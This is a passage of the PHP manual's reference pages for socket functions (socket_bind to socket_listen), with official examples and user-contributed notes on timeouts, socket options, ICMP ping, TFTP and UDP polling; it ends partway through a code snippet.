The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

范例

例子 1. Using socket_bind() to set the source address

<?php
// Create a new socket
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// An example list of IP addresses owned by the computer
$sourceips['kevin']    = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// Bind the source address
socket_bind($sock, $sourceips['madcoder']);

// Connect to destination address
socket_connect($sock, '127.0.0.1', 80);

// Write
$request = 'GET / HTTP/1.1' . "\r\n" .
           'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// Close
socket_close($sock);

?>

注释

注: This function must be used on the socket before socket_connect().

注: Windows 9x/ME compatibility note: socket_last_error() may return an invalid error code if trying to bind the socket to a wrong address that does not belong to your machine.

参见

socket_connect()
socket_listen()
socket_create()
socket_last_error()
socket_strerror()

add a note add a note User Contributed Notes
php50613160534 dot 3 dot korkman at spamgourmet dot org
13-Jun-2005 09:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net
04-May-2003 09:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
masuod_a at hotmail dot com
14-Feb-2003 07:31
If you want to connect to server by specified port and you don't know your ip address or you have multiple interface for connecting to network, you can bind null instead of valid ip address like this :

<?php
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$local_port=1023;
socket_bind($socket,null,$local_port);
socket_connect($socket,$remote_host,$remote_port);

?>
keksov[at]gmx.de
11-Jun-2002 02:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
   echo socket_strerror(socket_last_error($sock));
   exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!
add a note add a note

后退 | 起点 | 前进
socket_accept | 上一级 | socket_clear_error


socket_clear_error

(PHP 4 >= 4.2.0, PHP 5)

socket_clear_error -- Clears the error on the socket or the last error code

Description

void socket_clear_error ( [resource socket] )

This function clears the error code on the given socket or the global last socket error.

This function allows explicitly resetting the error code value either of a socket or of the extension global last error code. This may be useful to detect within a part of the application if an error occurred or not.

See also socket_last_error() and socket_strerror().

add a note add a note User Contributed Notes
ludvig dot ericson at gmail dot com
24-May-2006 07:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
   echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.
add a note add a note

后退 | 起点 | 前进
socket_bind | 上一级 | socket_close


socket_close

(PHP 4 >= 4.1.0, PHP 5)

socket_close -- Closes a socket resource

Description

void socket_close ( resource socket )

socket_close() closes the socket resource given by socket.

注: socket_close() can't be used on PHP file resources created with fopen(), popen(), fsockopen(), or pfsockopen(); it is meant for sockets created with socket_create() or socket_accept().

See also socket_bind(), socket_listen(),
socket_create() and
socket_strerror().

add a note add a note User Contributed Notes
aeolianmeson at NOSPAM dot blitzeclipse dot com
30-May-2006 01:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

   // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
   $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
   socket_set_block($this->Socket);
   socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
   socket_close($this->Socket);
chaos
08-Jun-2002 06:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.
add a note add a note

后退 | 起点 | 前进
socket_clear_error | 上一级 | socket_connect


socket_connect

(PHP 4 >= 4.1.0, PHP 5)

socket_connect -- Initiates a connection on a socket

Description

bool socket_connect ( resource socket, string address [, int port] )

Initiates a connection using the socket resource socket, which must be a valid socket resource created with socket_create().

The address parameter is either an IP address in dotted-quad notation (e.g. 127.0.0.1), if the socket is of the AF_INET family; or the pathname of a Unix domain socket, if the socket family is AF_UNIX.

The port parameter is only used when connecting to an AF_INET socket, and designates the port on the remote host to which a connection should be made.

如果成功则返回 TRUE，失败则返回 FALSE。 The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

See also
socket_bind(),
socket_listen(),
socket_create(),
socket_last_error() and
socket_strerror().

add a note add a note User Contributed Notes
ScriptBlue at nyc dot rr dot com
18-Sep-2005 12:13
If you do want to have a socket_connect operation timeout you can use the following code.
<?php
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_nonblock($sock);
socket_connect($sock,"127.0.0.1", 80);
socket_set_block($sock);
switch(socket_select($r = array($sock), $w = array($sock), $f = array($sock), 5))
{
       case 2:
               echo "[-] Connection Refused\n";
               break;
       case 1:
               echo "[+] Connected\n";
               break;
       case 0:
               echo "[-] Timeout\n";
               break;
}
?>
This basically makes socket_connect return immediately then you can use socket_select to see how the socket reacted.
11-Jul-2005 10:26
well this solution (above) is not right because you cant ping port...
telefoontoestel at home
23-Nov-2003 04:05
In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain
02-Oct-2003 03:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
   $host = "127.0.0.1";
   $port = "80";
   $timeout = 15;  //timeout in seconds

   $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
     or die("Unable to create socket\n");

   socket_set_nonblock($socket)
     or die("Unable to set nonblock on socket\n");

   $time = time();
   while (!@socket_connect($socket, $host, $port))
   {
     $err = socket_last_error($socket);
     if ($err == 115 || $err == 114)
     {
       if ((time() - $time) >= $timeout)
       {
         socket_close($socket);
         die("Connection timed out.\n");
       }
       sleep(1);
       continue;
     }
     die(socket_strerror($err) . "\n");
   }

   socket_set_block($this->socket)
     or die("Unable to set block on socket\n");
?>
net_del at freemail dot ru
27-Aug-2003 04:54
function socket_raw_connect ($server, $port, $timeout,$request)
{
 if (!is_numeric($port) or !is_numeric($timeout)) {return false;}
 $socket = fsockopen($server, $port, $errno, $errstr, $timeout);
 fputs($socket, $request);
 $ret = '';
 while (!feof($socket))
 {
  $ret .= fgets($socket, 4096);
 }
 return $ret;
 fclose($socket);
}

this code for easy raw connect.

Comment by net_del[nkg] (www.nkg.ru)
I am from russia. PHP is good language!
w at ff dot st
28-Jun-2003 05:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca
01-May-2003 05:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com
25-Jul-2002 02:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

$address = gethostbyname ($ip);
       $command = "ping -c 1 " . $address;
       $r = exec($command);
         if ($r[0]=="r")
         {
           $socket = socket_create (AF_INET, SOCK_STREAM, 0);
           if ($socket < 0) {
               echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
           } else {
               echo "OK.\n";
           }
add a note add a note

后退 | 起点 | 前进
socket_close | 上一级 | socket_create_listen


socket_create_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_create_listen -- Opens a socket on port to accept connections

Description

resource socket_create_listen ( int port [, int backlog] )

This function is meant to ease the task of creating a new socket which only listens to accept new connections.

socket_create_listen() creates a new socket resource of type AF_INET listening on all local interfaces on the given port waiting for new connections.

The backlog parameter defines the maximum length the queue of pending connections may grow to. SOMAXCONN may be passed as backlog parameter, see socket_listen() for more information.

socket_create_listen() returns a new socket resource on success or FALSE on error. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

注: If you want to create a socket which only listens on a certain interface you need to use socket_create(), socket_bind() and socket_listen().

See also
socket_create(),
socket_bind(),
socket_listen(),
socket_last_error() and
socket_strerror().

add a note add a note User Contributed Notes
alex at do not spam me cedevices.com
08-Aug-2005 01:48
Just a quick note on this function - it is not working properly in PHP 5.0.4 in that it does not listen on all interfaces (only listens on localhost).

I have filed Bug #34028 socket_create_listen doesn't listen on all interfaces

I am only posting this here because I had trouble figuring out that it was an issue and somebody might be having trouble too!
vslash
17-Feb-2005 03:34
Just correct one error about note below :
We read :
----
while($c = socket_accept($sock)) {
   /* do something useful */
  socket_getpeername($sock, $raddr, $rport);
  print "Received Connection from $raddr:$rport\n";
}
----
but it must be :
  socket_getpeername($c,$raddr,$rport);

;)
jdittmer at ppp0 dot net
17-Jul-2004 07:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($sock, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com
07-Feb-2004 06:50
Remember that ports are only valid from 1 - 65536
add a note add a note

后退 | 起点 | 前进
socket_connect | 上一级 | socket_create_pair


socket_create_pair

(PHP 4 >= 4.1.0, PHP 5)

socket_create_pair -- Creates a pair of indistinguishable sockets and stores them in an array

Description

bool socket_create_pair ( int domain, int type, int protocol, array &fd )

socket_create_pair() creates two connected and indistinguishable sockets, and stores them in fd. This function is commonly used in IPC (InterProcess Communication).

The domain parameter specifies the protocol family to be used by the socket.

表格 1. Available address/protocol families

Domain | Description
AF_INET | IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family. Supported only in windows.
AF_INET6 | IPv6 Internet based protocols. TCP and UDP are common protocols of this protocol family. Support added in PHP 5.0.0. Supported only in windows.
AF_UNIX | Local communication protocol family. High efficiency and low overhead make it a great form of IPC (Interprocess Communication).

The type parameter selects the type of communication to be used by the socket.

表格 2. Available socket types

Type | Description
SOCK_STREAM | Provides sequenced, reliable, full-duplex, connection-based byte streams. An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
SOCK_DGRAM | Supports datagrams (connectionless, unreliable messages of a fixed maximum length). The UDP protocol is based on this socket type.
SOCK_SEQPACKET | Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each read call.
SOCK_RAW | Provides raw network protocol access. This special type of socket can be used to manually construct any type of protocol. A common use for this socket type is to perform ICMP requests (like ping, traceroute, etc).
SOCK_RDM | Provides a reliable datagram layer that does not guarantee ordering. This is most likely not implemented on your operating system.

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

表格 3. Common protocols

Name | Description
icmp | The Internet Control Message Protocol is used primarily by gateways and hosts to report errors in datagram communication. The "ping" command (present in most modern operating systems) is an example application of ICMP.
udp | The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths. Due to these aspects, UDP requires a minimum amount of protocol overhead.
tcp | The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol. TCP guarantees that all data packets will be received in the order in which they were sent. If any packet is somehow lost during communication, TCP will automatically retransmit the packet until the destination host acknowledges that packet. For reliability and performance reasons, the TCP implementation itself decides the appropriate octet boundaries of the underlying datagram communication layer. Therefore, TCP applications must allow for the possibility of partial record transmission.

例子 1. socket_create_pair() example

<?php
$sockets = array();
/* Setup socket pair */
if (!socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets)) {
    echo socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (!socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n"))) {
    echo socket_strerror(socket_last_error());
}
if (!$data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) {
    echo socket_strerror(socket_last_error());
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

例子 2. socket_create_pair() IPC example

<?php
$ary = array();
$strone = 'Message From Parent.';
$strtwo = 'Message From Child.';
if (!socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary)) {
    echo socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
    echo 'Could not fork Process.';
} elseif ($pid) {
    /*parent*/
    socket_close($ary[0]);
    if (!socket_write($ary[1], $strone, strlen($strone))) {
        echo socket_strerror(socket_last_error());
    }
    if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
        echo "Recieved $strtwo\n";
    }
    socket_close($ary[1]);
} else {
    /*child*/
    socket_close($ary[1]);
    if (!socket_write($ary[0], $strtwo, strlen($strtwo))) {
        echo socket_strerror(socket_last_error());
    }
    if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
        echo "Recieved $strone\n";
    }
    socket_close($ary[0]);
}
?>

add a note add a note User Contributed Notes
derek at php dot net
08-May-2004 09:01
This function wraps socketpair()
add a note add a note

后退 | 起点 | 前进
socket_create_listen | 上一级 | socket_create


socket_create

(PHP 4 >= 4.1.0, PHP 5)

socket_create -- Create a socket (endpoint for communication)

Description

resource socket_create ( int domain, int type, int protocol )

Creates and returns a socket resource, also referred to as an endpoint of communication. A typical network connection is made up of 2 sockets, one performing the role of the client, and another performing the role of the server.

The domain parameter specifies the protocol family to be used by the socket.

表格 1. Available address/protocol families

Domain | Description
AF_INET | IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family.
AF_INET6 | IPv6 Internet based protocols. TCP and UDP are common protocols of this protocol family. Support added in PHP 5.0.0.
AF_UNIX | Local communication protocol family. High efficiency and low overhead make it a great form of IPC (Interprocess Communication).

The type parameter selects the type of communication to be used by the socket.

表格 2. Available socket types

Type | Description
SOCK_STREAM | Provides sequenced, reliable, full-duplex, connection-based byte streams. An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
SOCK_DGRAM | Supports datagrams (connectionless, unreliable messages of a fixed maximum length). The UDP protocol is based on this socket type.
SOCK_SEQPACKET | Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each read call.
SOCK_RAW | Provides raw network protocol access. This special type of socket can be used to manually construct any type of protocol. A common use for this socket type is to perform ICMP requests (like ping, traceroute, etc).
SOCK_RDM | Provides a reliable datagram layer that does not guarantee ordering. This is most likely not implemented on your operating system.

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

表格 3. Common protocols

Name | Description
icmp | The Internet Control Message Protocol is used primarily by gateways and hosts to report errors in datagram communication. The "ping" command (present in most modern operating systems) is an example application of ICMP.
udp | The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths. Due to these aspects, UDP requires a minimum amount of protocol overhead.
tcp | The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol. TCP guarantees that all data packets will be received in the order in which they were sent. If any packet is somehow lost during communication, TCP will automatically retransmit the packet until the destination host acknowledges that packet. For reliability and performance reasons, the TCP implementation itself decides the appropriate octet boundaries of the underlying datagram communication layer. Therefore, TCP applications must allow for the possibility of partial record transmission.

socket_create() Returns a socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

注: If an invalid domain or type is given, socket_create() defaults to AF_INET and SOCK_STREAM respectively and additionally emits an E_WARNING message.

See also
socket_accept(),
socket_bind(),
socket_connect(),
socket_listen(),
socket_last_error(), and
socket_strerror().

add a note add a note User Contributed Notes
07-Jan-2006 06:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
   $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

   /* create the socket, the last '1' denotes ICMP */
   $socket = socket_create(AF_INET, SOCK_RAW, 1);

   /* set socket receive timeout to 1 second */
   socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

   /* connect to socket */
   socket_connect($socket, $host, null);

   /* record start time */
   list($start_usec, $start_sec) = explode(" ", microtime());
   $start_time = ((float) $start_usec + (float) $start_sec);

   socket_send($socket, $package, strlen($package), 0);

   if(@socket_read($socket, 255)) {
       list($end_usec, $end_sec) = explode(" ", microtime());
       $end_time = ((float) $end_usec + (float) $end_sec);

       $total_time = $end_time - $start_time;

       return $total_time;
   } else {
       return false;
   }

   socket_close($socket);
}

?>
kyle gibson
29-Oct-2005 08:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us
26-Jan-2005 03:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   socket_connect($socket, $dest, $port);
   socket_getsockname($socket, $addr, $port);
   socket_close($socket);
   return $addr;
  }
?>
david at eder dot us
08-Jun-2004 11:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

   // create the request packet
   $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
   // UDP is connectionless, so we just send on it.
   socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

   $buffer = '';
   $port = '';
   $ret = '';
   do
   {
     // $buffer and $port both come back with information for the ack
     // 516 = 4 bytes for the header + 512 bytes of data
     socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

     // add the block number from the data packet to the ack packet
     $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
     // send ack
     socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

     // append the data to the return variable
     // for large files this function should take a file handle as an arg
     $ret .= substr($buffer, 4);
   }
   while(strlen($buffer) == 516);  // the first non-full packet is the last.
   return $ret;
  }
?>
evan at coeus hyphen group dot com
15-Feb-2002 10:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)
email at NOSPAMrichard-samar dot de
14-Feb-2002 05:10
Actually, you don't need to use
getprotobyname("tcp") but instead can use
the constants:  SOL_TCP  and  SOL_UDP.

Here an extract of the source from
ext/sockets which should make this clear.

if ((pe = getprotobyname("tcp"))) {
       REGISTER_LONG_CONSTANT("SOL_TCP", pe->p_proto,
       CONST_CS | CONST_PERSISTENT);
}

Normally the third parameter can be set to 0. In the
original BSD Socket implementation the third parameter
(there are 8 different types, here only two) should be
IPPROTO_TCP or IPPROTO_UPD (or one of the 6 others ones).
These two parameters are though not warpped in PHP as
constants and therefore not available.
Please use SOL_TCP  and  SOL_UDP. e.g.:

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Please be aware of the fact that UDP
and TCP can only be used with AF_INET which is: "Adress Family Internet". With UNIX Domain sockets TCP/UDP would make no sense!

best regards
-Richard-Moh Samar
add a note add a note

后退 | 起点 | 前进
socket_create_pair | 上一级 | socket_get_option


socket_get_option

(PHP 4 >= 4.3.0, PHP 5)

socket_get_option -- Gets socket options for the socket

Description

mixed socket_get_option ( resource socket, int level, int optname )

The socket_get_option() function retrieves the value for the option specified by the optname parameter for the socket specified by the socket parameter. socket_get_option() will return FALSE on failure.

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

表格 1. Available Socket Options

Option | Description
SO_DEBUG | Reports whether debugging information is being recorded.
SO_ACCEPTCONN | Reports whether socket listening is enabled.
SO_BROADCAST | Reports whether transmission of broadcast messages is supported.
SO_REUSEADDR | Reports whether local addresses can be reused.
SO_KEEPALIVE | Reports whether connections are kept active with periodic transmission of messages. If the connected socket fails to respond to these messages, the connection is broken and processes writing to that socket are notified with a SIGPIPE signal.
SO_LINGER | Reports whether the socket lingers on socket_close() if data is present.
SO_OOBINLINE | Reports whether the socket leaves out-of-band data inline.
SO_SNDBUF | Reports send buffer size information.
SO_RCVBUF | Reports recieve buffer size information.
SO_ERROR | Reports information about error status and clears it.
SO_TYPE | Reports the socket type.
SO_DONTROUTE | Reports whether outgoing messages bypass the standard routing facilities.
SO_RCVLOWAT | Reports the minimum number of bytes to process for socket input operations. ( Defaults to 1 )
SO_RCVTIMEO | Reports the timeout value for input operations.
SO_SNDLOWAT | Reports the minimum number of bytes to process for socket output operations.
SO_SNDTIMEO | Reports the timeout value specifying the amount of time that an output function blocks because flow control prevents data from being sent.

注: This function used to be called socket_getopt() prior to PHP 4.3.0

add a note add a note User Contributed Notes
X_Crikou
22-Jan-2004 01:38
Here is all available options for SOL_SOCKET.

For example, after creating your socket with
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname("tcp"));

$opt=array(
SO_BROADCAST,
SO_DONTROUTE,
SO_DEBUG,
SO_ERROR,
SO_FREE,
SO_KEEPALIVE,
SO_LINGER,
SO_NOSERVER,
SO_OOBINLINE,
SO_RCVBUF,
SO_RCVLOWAT,
SO_RCVTIMEO,
SO_REUSEADDR,
SO_SNDBUF,
SO_SNDLOWAT,
SO_SNDTIMEO,
SO_TYPE);

foreach ($opt as $value) {
  var_dump(socket_get_option($sock, SOL_SOCKET, $value));
}
add a note add a note

后退 | 起点 | 前进
socket_create | 上一级 | socket_getpeername


socket_getpeername

(PHP 4 >= 4.1.0, PHP 5)

socket_getpeername -- Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getpeername ( resource socket, string &addr [, int &port] )

If the given socket is of type AF_INET or AF_INET6, socket_getpeername() will return the peers (remote) IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getpeername() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

注: socket_getpeername() should not be used with AF_UNIX sockets created with socket_accept(). Only sockets created with socket_connect() or a primary server socket following a call to socket_bind() will return meaningful values.

如果成功则返回 TRUE，失败则返回 FALSE。 socket_getpeername() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

See also
socket_getsockname(),
socket_last_error() and
socket_strerror().

add a note add a note User Contributed Notes
redph0enix at hotmail dot com
10-Sep-2003 11:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";
chrisw at ss dot net dot au
21-Jan-2003 07:39
Just to help others using this command, i wrote up a quick example to save you time.

socket_getpeername($socket, &$connectip);
echo $connectip;

Note that $conectip is defined by socket_getpeername which will return the name (ip) of the connecting host.

Regards

Chris W
add a note add a note

后退 | 起点 | 前进
socket_get_option | 上一级 | socket_getsockname


socket_getsockname

(PHP 4 >= 4.1.0, PHP 5)

socket_getsockname -- Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getsockname ( resource socket, string &addr [, int &port] )

If the given socket is of type AF_INET or AF_INET6, socket_getsockname() will return the local IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getsockname() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

注: socket_getsockname() should not be used with AF_UNIX sockets created with socket_connect(). Only sockets created with socket_accept() or a primary server socket following a call to socket_bind() will return meaningful values.

如果成功则返回 TRUE，失败则返回 FALSE。 socket_getsockname() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

See also
socket_getpeername(),
socket_last_error() and
socket_strerror().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_getpeername | 上一级 | socket_last_error


socket_last_error

(PHP 4 >= 4.1.0, PHP 5)

socket_last_error -- Returns the last error on the socket

Description

int socket_last_error ( [resource socket] )

This function returns a socket error code.

If a socket resource is passed to this function, the last error which occurred on this particular socket is returned. If the socket resource is omitted, the error code of the last failed socket function is returned. The latter is in particular helpful for functions like socket_create() which don't return a socket on failure and socket_select() which can fail for reasons not directly tied to a particular socket. The error code is suitable to be fed to socket_strerror() which returns a string describing the given error code.
<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
    die("Couldn't create socket, error code is: " . socket_last_error() .
        ",error message is: " . socket_strerror(socket_last_error()));
}
?>

注: socket_last_error() does not clear the error code, use socket_clear_error() for this purpose.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_getsockname | 上一级 | socket_listen


socket_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_listen -- Listens for a connection on a socket

Description

bool socket_listen ( resource socket [, int backlog] )

After the socket socket has been created using socket_create() and bound to a name with socket_bind(), it may be told to listen for incoming connections on socket.

A maximum of backlog incoming connections will be queued for processing. If a connection request arrives with the queue full the client may receive an error with an indication of ECONNREFUSED, or, if the underlying protocol supports retransmission, the request may be ignored so that retries may succeed.

注: The maximum number passed to the backlog parameter highly depends on the underlying platform. On Linux, it is silently truncated to SOMAXCONN. On win32, if passed SOMAXCONN, the underlying service provider responsible for the socket will set the backlog to a maximum reasonable value. There is no standard provision to find out the actual backlog value on this platform.

socket_listen() is applicable only to sockets of type SOCK_STREAM or SOCK_SEQPACKET.

如果成功则返回 TRUE，失败则返回 FALSE。 The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

See also
socket_accept(),
socket_bind(),
socket_connect(),
socket_create() and
socket_strerror().

add a note add a note User Contributed Notes
01-Dec-2005 11:17
// How to set up a UDP polling service using a system trigger
// avoiding intensive pooling loop

  // set up a socket
  $sux = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
  if (!$sux) exit('create error');

  // designate a port on the socket to recieve data
  if (!socket_bind($sux, $local_ip, 2210)) exit('bind error');

  $suxref[] =& $sux; // create a reference to the socket as an array
  $ip = '';
  $port = 0;
  do {

     // let the system take care of polling for UDP data
     socket_select($suxref, $write = NULL, $except = NULL, 5);  // sec. timout

     // get the UDPdata with the sender's IP/port
     $z = @socket_recvfrom($sux, $buf, 9999, 0, $ip, $port);

     // return some data to the sender IP/port
     if (strlen($buf) > 0) {
       echo "\r\nRemote sent: " . $buf;
